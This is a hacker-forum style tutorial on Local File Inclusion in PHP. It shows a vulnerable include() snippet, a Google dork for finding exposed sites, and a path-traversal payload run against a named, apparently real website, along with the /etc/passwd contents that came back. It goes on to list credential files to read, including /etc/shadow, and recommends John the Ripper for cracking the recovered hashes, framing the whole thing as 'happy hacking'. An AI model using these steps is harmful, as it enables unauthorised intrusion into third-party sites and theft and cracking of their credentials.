L0C@l f!l3 inclu$ioN

                             ...::Local File Inclusion (LFI)::...

First of all, an example of a vulnerable PHP code is this:
Code:
$page = $_GET[page];
include($page);
?>

Now, here's a google dork:
Code:
inurl:redirect.php?page=

Search that in google, and you should come up with a link like this:
Code:
http://www.x17agency.com/redirect.php?page=_CLI/contact.php

To test if it's vulnerable, please put this code in:
Code:
http://www.x17agency.com/redirect.php?page=../../../../../etc/passwd

After you have put that code in, which is "../../../../../etc/passwd", you should come up with something like this:

## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # This file will not be consulted for authentication unless the BSD local node # is enabled via /Applications/Utilities/Directory Utility.app # # See the DirectoryService(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _pcastagent:*:55:55:Podcast Producer Agent:/var/pcast/agent:/usr/bin/false _pcastserver:*:56:56:Podcast Producer Server:/var/pcast/server:/usr/bin/false _serialnumberd:*:58:58:Serial Number Daemon:/var/empty:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false _xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false


A non-shadowed file would look like this:
Code:
username:passwd:UID:GID:full_name:directory:shell

All you have to do is decode the password.

Here are some "interesting" places you might want to visit:
Code:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Q&A
How to decode the pass?
Use john the rippers decoder :)

HAPPY HACKING ;D